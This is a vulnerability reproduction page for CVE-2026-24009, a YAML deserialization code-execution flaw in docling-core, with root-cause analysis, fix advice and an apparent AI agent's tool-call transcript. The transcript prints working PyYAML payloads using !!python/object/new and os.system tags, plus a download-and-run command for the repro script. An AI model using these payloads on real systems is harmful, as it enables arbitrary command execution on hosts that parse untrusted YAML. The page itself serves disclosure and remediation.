CVE-2026-24009: Verified Repro With Script Download
CVE-2026-24009: Docling-core YAML Deserialization RCE via FullLoader
CVE-2026-24009 is verified against docling-core · pip. Affected versions: >= 2.21.0, < 2.48.4. Fixed in 2.48.4. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00080.
What Is CVE-2026-24009?
CVE-2026-24009 is a high-severity YAML deserialization remote code execution vulnerability in docling-core's DoclingDocument.load_from_yaml() when used with an outdated, unsafe version of PyYAML. Pruva reproduced it (reproduction REPRO-2026-00080).
CVE-2026-24009 Severity & CVSS Score
CVE-2026-24009 is rated high severity, with a CVSS base score of 8.1 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
Affected docling-core Versions
docling-core · pip versions >= 2.21.0, < 2.48.4 are affected.
How to Reproduce CVE-2026-24009
pruva-verify REPRO-2026-00080 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00080/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-24009
Reproduced by Pruva's autonomous agents — 58 tool calls over 6 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2026-24009
Summary
docling-core versions 2.21.0 to 2.48.3 call yaml.load(..., Loader=yaml.FullLoader) in DoclingDocument.load_from_yaml, which allows unsafe object construction when PyYAML < 5.4 is installed. With a crafted YAML payload, PyYAML FullLoader evaluates attacker-controlled Python objects (CVE-2020-14343), leading to command execution before the document validation occurs.
Impact
- Component:
docling_core.types.doc.DoclingDocument.load_from_yaml - Affected versions: docling-core >= 2.21.0, < 2.48.4 when used with PyYAML < 5.4
- Risk level: High — arbitrary command execution when parsing untrusted YAML
- Consequence: An attacker can execute OS commands during YAML deserialization even if the resulting object fails validation.
Root Cause
load_from_yaml opens the provided YAML file and calls yaml.load(f, Loader=yaml.FullLoader). In PyYAML 5.3.1, FullLoader still permits unsafe constructors such as !!python/object/new and !!python/name, which can be combined to invoke eval and execute OS commands (CVE-2020-14343). The deserialization executes before DoclingDocument.model_validate runs, so even if validation fails, the payload already executed. The fix in docling-core 2.48.4 switches to yaml.SafeLoader, which blocks these unsafe tags.
Reproduction Steps
- Run
repro/reproduction_steps.sh. - The script creates a virtual environment, installs
docling-core==2.48.3withPyYAML==5.3.1, writes a malicious YAML payload using!!python/object/new, then invokesDoclingDocument.load_from_yaml. - Evidence of reproduction is the creation of
logs/pwned.txtcontaining the output ofid.
Evidence
- Log/artifact:
logs/pwned.txt - Key output (from script):
VULNERABILITY CONFIRMED: marker file created at .../logs/pwned.txt- Script prints a validation error after deserialization, demonstrating the payload executes before validation.
- Environment: Python 3.12 venv with docling-core 2.48.3 and PyYAML 5.3.1
Recommendations / Next Steps
- Upgrade to docling-core 2.48.4 or later, which uses
yaml.SafeLoader. - If upgrading is not possible, explicitly use
yaml.safe_loadorSafeLoaderwhen parsing untrusted YAML. - Add regression tests that feed malicious YAML payloads into
load_from_yamlto ensure unsafe tags are rejected.
Additional Notes
- The reproduction script is idempotent and can be run multiple times; it overwrites the payload and marker file on each run.
- Even though the YAML fails
DoclingDocumentvalidation, the exploit triggers during deserialization, so validation alone is insufficient protection.
CVE-2026-24009 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
#!/bin/bash
set -euo pipefail
# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"
cd "$ROOT"
VENV="$ROOT/.venv_docling"
if [ ! -d "$VENV" ]; then
python3 -m venv "$VENV"
fi
# shellcheck disable=SC1091
source "$VENV/bin/activate"
pip install --upgrade pip
pip install "docling-core==2.48.3" "PyYAML==5.3.1"/bin/bash /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/repro/reproduction_steps.sh{"cwd":"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1","duration_ms":13922,"exit_code":1,"stderr":"Traceback (most recent call last):\n File \"<stdin>\", line 6, in <module>\n File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/docling_core/types/doc/document.py\", line 4356, in load_from_yaml\n with open(filename, encoding=\"utf-8\") as f:\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nFileNotFoundError: [Errno 2] No such file or directory: '!!python/object/apply:os.system [\"/bin/sh -c \\'id > /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/logs/pwned.txt\\'\"]\\n'\n","stdout":"Requirement already satisfied: pip in ./.venv_docling/lib/python3.12/site-packages (24.0)\nCollecting pip\n Downloading pip-26.0.1-py3-none-any.whl.metadata (4.7 kB)\nDownloading pip-26.0.1-py3-none-any.whl (1.8 MB)\n ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 20.3 MB/s eta 0:00:00\nInstalling collected packages: pip\n Attempting uninstall: pip\n Found existing installation: pip 24.0\n Uninstalling pip-24.0:\n Successfully uninstalled pip-24.0\nSuccessfully installed pip-26.0.1\nCollecting docling-core==2.48.3\n Do… [truncated]/bin/bash -lc 'python - <<"PY"
import inspect
from docling_core.types.doc import DoclingDocument
print(DoclingDocument.load_from_yaml)
print(inspect.signature(DoclingDocument.load_from_yaml))
print(inspect.getsource(DoclingDocument.load_from_yaml))
PY'Traceback (most recent call last): File "<stdin>", line 2, in <module> ModuleNotFoundError: No module named 'docling_core'
/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import inspect
from docling_core.types.doc import DoclingDocument
print(inspect.signature(DoclingDocument.load_from_yaml))
print(inspect.getsource(DoclingDocument.load_from_yaml))
PY'(filename: Union[str, pathlib.Path]) -> 'DoclingDocument'
@classmethod
def load_from_yaml(cls, filename: Union[str, Path]) -> "DoclingDocument":
"""load_from_yaml.
Args:
filename: The filename to load a YAML-serialized DoclingDocument from.
#!/bin/bash
set -euo pipefail
# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"
cd "$ROOT"
VENV="$ROOT/.venv_docling"
if [ ! -d "$VENV" ]; then
python3 -m venv "$VENV"
fi
# shellcheck disable=SC1091
source "$VENV/bin/activate"
pip install --upgrade pip
pip install "docling-core==2.48.3" "PyYAML==5.3.1"/bin/bash /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/repro/reproduction_steps.sh{"cwd":"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1","duration_ms":967,"exit_code":1,"stderr":"Traceback (most recent call last):\n File \"<stdin>\", line 3, in <module>\n File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/docling_core/types/doc/document.py\", line 4357, in load_from_yaml\n data = yaml.load(f, Loader=yaml.FullLoader)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/yaml/__init__.py\", line 114, in load\n return loader.get_single_data()\n ^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/yaml/constructor.py\", line 51, in get_single_data\n return self.construct_document(node)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/yaml/constructor.py\", line 55, in construct_document\n data = self.construct_object(node)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/data/pruva/runs/a7b29f81-0e32-4ae2… [truncated]/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import yaml
print(yaml.__version__)
keys = [k for k in yaml.FullLoader.yaml_constructors.keys() if "python" in str(k)]
print(keys)
PY'5.3.1 ['tag:yaml.org,2002:python/none', 'tag:yaml.org,2002:python/bool', 'tag:yaml.org,2002:python/str', 'tag:yaml.org,2002:python/unicode', 'tag:yaml.org,2002:python/bytes', 'tag:yaml.org,2002:python/int', 'tag:yaml.org,2002:python/long', 'tag:yaml.org,2002:python/float', 'tag:yaml.org,2002:python/complex', 'tag:yaml.org,2002:python/list', 'tag:yaml.org,2002:python/tuple', 'tag:yaml.org,2002:python/dict']
/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import yaml
from yaml.loader import FullLoader
print(FullLoader)
print([k for k in FullLoader.yaml_constructors.keys() if "python" in str(k)])
PY'<class 'yaml.loader.FullLoader'> ['tag:yaml.org,2002:python/none', 'tag:yaml.org,2002:python/bool', 'tag:yaml.org,2002:python/str', 'tag:yaml.org,2002:python/unicode', 'tag:yaml.org,2002:python/bytes', 'tag:yaml.org,2002:python/int', 'tag:yaml.org,2002:python/long', 'tag:yaml.org,2002:python/float', 'tag:yaml.org,2002:python/complex', 'tag:yaml.org,2002:python/list', 'tag:yaml.org,2002:python/tuple', 'tag:yaml.org,2002:python/dict']
/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import yaml
from yaml.loader import FullLoader
print([k for k in FullLoader.yaml_multi_constructors.keys() if "python" in str(k)])
PY'['tag:yaml.org,2002:python/name:', 'tag:yaml.org,2002:python/module:', 'tag:yaml.org,2002:python/object:', 'tag:yaml.org,2002:python/object/new:']
/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import yaml
payload = """!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('id > /tmp/pwned_test')"]
"""
print(payload)
print(yaml.load(payload, Loader=yaml.FullLoader))
PY'/bin/bash: line 6: warning: here-document at line 1 delimited by end-of-file (wanted `PY')
File "<stdin>", line 2
payload = """!!python/object/new:tuple
^
SyntaxError: unterminated triple-quoted string literal (detected at line 5)
/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import yaml
payload = """!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('id > /tmp/pwned_test')"]
"""
print(yaml.load(payload, Loader=yaml.FullLoader))
PY'/bin/bash: line 6: warning: here-document at line 1 delimited by end-of-file (wanted `PY')
File "<stdin>", line 2
payload = """!!python/object/new:tuple
^
SyntaxError: unterminated triple-quoted string literal (detected at line 5)
/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY"
import yaml
payload = """!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('id > /tmp/pwned_test')"]
"""
print(payload)
print(yaml.load(payload, Loader=yaml.FullLoader))
PY'/bin/bash: line 6: warning: here-document at line 1 delimited by end-of-file (wanted `PY')
File "<stdin>", line 2
payload = """!!python/object/new:tuple
^
SyntaxError: unterminated triple-quoted string literal (detected at line 5)
Artifacts and Evidence for CVE-2026-24009
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2026-24009
Upgrade docling-core · pip to 2.48.4 or later.
FAQ: CVE-2026-24009
How does the CVE-2026-24009 deserialization attack work?
!!python/object/new and !!python/name tags to load_from_yaml(). Because deserialization runs before DoclingDocument.model_validate is called, PyYAML's FullLoader executes the attacker's Python object construction — and the resulting command execution happens even if the deserialized object subsequently fails validation.Which docling-core versions are affected by CVE-2026-24009, and where is it fixed?
yaml.SafeLoader.How severe is CVE-2026-24009?
How can I reproduce CVE-2026-24009?
!!python/object/new, calls DoclingDocument.load_from_yaml() on it, and shows the embedded command executing, then confirms 2.48.4 is not exploitable.References for CVE-2026-24009
Authoritative sources for CVE-2026-24009 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.